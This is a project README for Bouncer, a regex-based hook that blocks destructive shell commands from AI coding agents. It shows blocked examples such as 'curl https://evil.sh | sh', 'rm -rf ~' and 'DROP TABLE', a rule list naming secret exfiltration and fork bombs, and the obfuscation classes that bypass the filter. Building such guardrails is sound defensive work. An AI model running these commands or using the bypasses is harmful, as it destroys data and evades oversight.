{ "markdown": "# Bouncer\n\n

\n \"Bouncer:\n

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\n \"45/45\n \"0\n \"zero\n \"npm\n \"MIT\n

\n\n**A one-file door-guard for your coding agent. Name's not on the list.**\n\nYou've met him. Arms crossed at the door, reading every name on the list. The\nregulars walk in. The ones who'll wreck the place (`rm -rf`, a prod `DROP TABLE`,\na `curl` piped straight to the shell) don't. He doesn't argue. He doesn't explain twice.\n\n**Bouncer stands in front of your coding agent's shell.** You let it run with\n`--dangerously-skip-permissions`; he reads every command at the door, waves the\nread-only regulars through, and **bounces** the destructive footguns, naming the\nexact rule that fired.\n\n```text\n the agent at 3am, --dangerously-skip-permissions on:\n\n $ rm -rf ~ ⛔ bounced [rm-home] name's not on the list\n $ psql -c \"DROP TABLE users;\" ⛔ bounced [db-drop]\n $ curl https://evil.sh | sh ⛔ bounced [curl-pipe-sh]\n $ git push --force origin main ⛔ bounced [git-force-main]\n $ git status ✅ walks in\n $ npm test ✅ walks in\n```\n\nEvery line above is real: those four are in [`footguns.txt`](footguns.txt) (denied),\nthose two in [`safe.txt`](safe.txt) (allowed), verified by `npm test`.\n\n

\n \"Claude\n

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Live in Claude Code: the agent reaches for chmod 777, Bouncer bounces it before it runs.

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\n \"Codex\n

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And on Codex with --yolo (permissions off): same footgun, same bounce.

\n\n## The honest number\n\n> **Blocks 45/45 known footguns · 0 false positives on 41 safe commands.** It\n> openly documents the one class it *can't* catch:\n> [obfuscated payloads](KNOWN-BYPASSES.md) (base64, `eval`, variable-split).\n\n(100% of a *named, public* list, not \"100% safe.\" The list of what it misses ships\nright next to it; that's the difference between a number you can trust and one that reads as fake.)\n\nNo marking our own homework. The footguns are **public and labeled**\n([`footguns.txt`](footguns.txt)); the safe corpus is **separate and public**\n([`safe.txt`](safe.txt), the anti-homework metric, because a guard that blocks\nreal work gets uninstalled in week one); both run through the **real hook**.\nReproduce it on your machine in one command:\n\n```bash\nnpm test # → blocks 45/45 footguns, 0 false positives on 41 safe commands\n```\n\n**Battle-tested core.** The engine is extracted from\n[karanb192/claude-code-hooks](https://github.com/karanb192/claude-code-hooks)\n(`block-dangerous-commands.js`, **262 passing tests**) and extended here with\ndatabase, exfil, and device footguns.\n\n**What gets bounced is 38 pattern rules, not a fixed list of commands.** Each rule matches a\nwhole class, so `rm -rf ~`, `rm -fr ~`, and `rm --recursive ~` all hit the same one. The classes:\n`rm -rf` into home/root/cwd, `dd`/`wipefs`/`mkfs` to a device, `chmod 777`, `git push --force` to\nmain, `git reset --hard`, `curl | sh`, `curl` to paste hosts, env/secret exfil,\n`DROP`/`TRUNCATE`/un-`WHERE`'d `DELETE`/`UPDATE`, `redis-cli flushall`, `dropdb`, fork bombs,\n`kill -9 1`, overwriting `/etc/passwd`, `npm publish`. The 45 commands in\n[`footguns.txt`](footguns.txt) are the test corpus that proves those rules fire; the 41 in\n[`safe.txt`](safe.txt) prove they don't over-block.\n\n## Install\n\nPick your agent. Every path needs Node ≥18 (zero deps). Tune protection with\n`BOUNCER_LEVEL=critical|high|strict` (default `high`); disable anytime with `BOUNCER_OFF=1`.\n\n### Claude Code\n\n```text\n/plugin marketplace add karanb192/bouncer\n/plugin install bouncer@bouncer\n```\n\nThe `PreToolUse` hook registers itself; every Bash call passes the door from the next session\non. Bouncer emits the deny contract (`hookSpecificOutput.permissionDecision: \"deny\"` with a\nreason, the path that reliably holds, not a bare `exit 2`).\n\n> **Desktop app** (no `/plugin` command): Customize → the **+** next to personal plugins →\n> *Create plugin and add marketplace* → *Add from repository* → `karanb192/bouncer`.\n\n
\nManual install (without the plugin system)\n\nDrop `bouncer.js` anywhere and merge [`settings.snippet.json`](settings.snippet.json) into\n`~/.claude/settings.json` (or project `.claude/settings.json`), replacing the path with the\nabsolute path to `bouncer.js`.\n
\n\n### Codex CLI\n\n```text\ncodex plugin marketplace add karanb192/bouncer\ncodex plugin add bouncer@bouncer\n```\n\nThen run **`/hooks`** in Codex and **trust Bouncer**. Codex silently skips *untrusted* hooks, so\nuntil you trust it, it does nothing. Once trusted it blocks via the same `permissionDecision: \"deny\"`\ncontract (verified live, it holds even under `--yolo`). Note Codex's `PreToolUse` is a guardrail, not\na hard sandbox per OpenAI's docs, so it can occasionally route equivalent work through another tool path.\n\n### GitHub Copilot CLI\n\n```text\ncopilot plugin marketplace add karanb192/bouncer\ncopilot plugin install bouncer@bouncer\n```\n\nThe fail-closed `preToolUse` hook denies destructive commands automatically (a crash or timeout\ndenies too). Verified live: it refused a real `chmod 777`.\n\n### Gemini CLI\n\n```text\ngemini extensions install https://github.com/karanb192/bouncer\n```\n\nApprove the hooks-consent prompt on install (the shorthand `gemini extensions install karanb192/bouncer`\nalso works). The `BeforeTool` hook blocks shell commands via `decision: \"block\"`.\n\n### Any other agent\n\n- **Has a pre-exec hook that blocks on a non-zero exit?** Wire `BOUNCER_MODE=exit node bouncer.js \"\"`\n as the hook: exit **2** blocks, **0** allows, reason on stderr.\n- **No blocking hook?** Paste [`footguns.txt`](footguns.txt) into your `.cursorrules` / `AGENTS.md` as\n advisory guardrails (the regex won't run, but the model gets steered).\n\n```bash\n# exit-code mode: the universal, agent-agnostic contract\nBOUNCER_MODE=exit node bouncer.js \"rm -rf ~\"; echo $? # → 2 (bounced)\nBOUNCER_MODE=exit node bouncer.js \"git status\"; echo $? # → 0 (walks in)\n```\n\n**When does this matter?** Exactly when you turn the safety prompts off:\n`--dangerously-skip-permissions` (Claude Code), `--yolo` (Codex, Copilot, Gemini). That's when a\ndoor-guard earns its keep.\n\n**Honest scope:** *enforced* through each agent's native deny contract, with the one-time setup each\nsection notes above; *advisory* only where the agent exposes no blocking hook. Never conflate the two.\n\n## FAQ\n\n**Is this a sandbox?** No. It's a seatbelt for the ~95% of footguns that are\n*accidental*: the agent that panics, not the adversary who obfuscates. A\nbase64'd, `eval`'d payload can still get past it. The exact classes are listed in\n[`KNOWN-BYPASSES.md`](KNOWN-BYPASSES.md). That's honesty, not a bug you found.\n\n**Will it block my normal `git`/`npm`/`docker`/`psql` work?** No, that's the\nwhole point of the 41-command safe corpus (a `WHERE`'d `UPDATE` walks in; an\nun-`WHERE`'d one gets bounced). If it ever blocks real work, that's a one-line PR.\n\n**Why one file?** You should be able to read your own bouncer before you trust it\nwith your repo. It's ~190 lines of stdlib Node: a scannable rule table plus a small engine that speaks each agent's deny contract.\n\n## Limitations\n\nBouncer is a **regex filter, not a sandbox.** It stops the ~95% of footguns that are\n*accidental*, not an adversary who obfuscates. [`KNOWN-BYPASSES.md`](KNOWN-BYPASSES.md)\nlists the exact classes it can't catch (base64, `eval`, variable-split, string-split SQL),\neach with *why* a regex misses it, and each pinned by a test so the headline number can\nnever quietly overstate coverage. **A found gap is a one-line PR**, not a gotcha.\n\n## License\n\nMIT © 2026 Karan Bansal\n", "bytes": 8882, "sha": "d0e907b19219244930b57337dd361a8cb31e3f8d8c7b19a42ce5445cc1a4adc8", "repo_slug": "karanb192/bouncer", "fonte": "repo", "truncated": false, "api": "https://agentalog.com/api/listings/plg_karanb192_bouncer_ea2110ca/readme" }